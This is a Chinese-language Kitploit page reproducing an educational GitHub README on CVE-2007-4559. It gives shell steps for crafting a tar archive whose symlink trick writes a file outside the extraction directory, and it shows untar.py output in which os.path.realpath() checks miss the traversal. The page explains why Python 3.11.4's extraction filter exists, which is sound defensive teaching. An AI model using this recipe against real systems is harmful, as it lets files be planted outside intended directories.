Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2007-4559 — CVE-2007-4559 Python tarfile 符号链接攻击的教育演示脚本,展示为什么 os.path.realpath() 无法阻止解压到预期目录之外。 | Kitploit
工具/GitHubGitHub/davidholiday/cve-2007-4559
静态分析漏洞分析代码分析漏洞利用供应链安全学习与教育
GitHubdavidholiday/cve-2007-4559

CVE-2007-4559

CVE-2007-4559 Python tarfile 符号链接攻击的教育演示脚本,展示为什么 os.path.realpath() 无法阻止解压到预期目录之外。

查看仓库
12年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

演示 CVE-2007-4559

这是什么?

这是一个演示,展示了在 Python v3.11.4 之前,Python 对 tar 文件提取的默认处理方式如何容易受到简单的符号链接攻击。下面的说明描述了如何构造一个恶意载荷。脚本 untar.py 演示了 3.11.4 中新增功能的工作原理及原因——具体来说,就是在每次写入每个文件之前,必须调用类似 os.path.realpath() 的方法。该脚本采用了与 Python >= 3.11.4 中包含的 extraction filter 功能完全相同的检查方法,唯一区别是不将文件写入磁盘。因此,它展示了 os.path.realpath() 无法正确解析符号链接,从而允许 tar 成员写入预期文件系统位置之外的位置。

这里有什么?

  • 说明(本文件)如何设置沙箱和恶意 tar 文件。

  • Python 脚本 untar.py,将演示最近在 Python tarfile 库中实现增强 tar 验证的“原因”。由于 os.path.realpath() 的工作方式,除非这些链接已经存在于文件系统中,否则不能依赖它来解析符号链接。这意味着,在提取归档之前,不能仅依赖 os.path.realpath() 来检查 tar 成员路径。相反,必须在归档中每个成员的每次写入之前调用 os.path.realpath(),以确保检测到恶意链接活动。更多信息请参见 PEP-706 和 tarfile 文档。

创建环境与恶意 tar 文件

  1. 创建测试环境
root@kitploit:~
snerd@jess:~$ mkdir -p lab/{lib,target}
  1. 将 ./lib 文件夹添加到 tar 归档中
root@kitploit:~
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
  1. 将 ./lib 目录替换为同名的指向 "." 的符号链接
root@kitploit:~
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
  1. 将符号链接 "lib" 添加到归档
root@kitploit:~
snerd@jess:~/lab$ tar -rvPf terry.tar lib
  1. 将符号链接 "lib" 替换为目录和文件
root@kitploit:~
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
  1. 使用相对路径将文件添加到归档
root@kitploit:~
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
  1. 将 tar 复制到目标目录
root@kitploit:~
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
  1. 解压 tar。"dangerous_file" 被解压到目标目录之外
root@kitploit:~
snerd@jess:~/lab/target$ tar -xPvf terry.tar 
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib  terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file  lib  target  terry.tar

使用 Python 脚本

  1. 从本仓库下载 untar.py 并将其放在 ./lab 目录中

  2. 运行脚本。注意,当恶意符号链接尚未写入目标文件系统时,欺骗 os.path.realpath() 是多么容易。

root@kitploit:~
snerd@jess:~/lab$ python3 untar.py 
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-

进一步阅读

  • [Python-Dev] tarfile 与目录遍历漏洞

  • 警报:存在 15 年历史的 Python tarfile 缺陷潜伏在“超过 350,000”个代码项目中

  • 关于在 Python 3.11.4 新功能之前如何安全提取 tar 归档的 Stack Overflow 回答

  • Python issue 21109

  • tarlib 库长期维护者(已于 2019 年退休)的 2022 年声明

  • Python 3.11.4 中引入的新提取过滤功能的实现

下载工具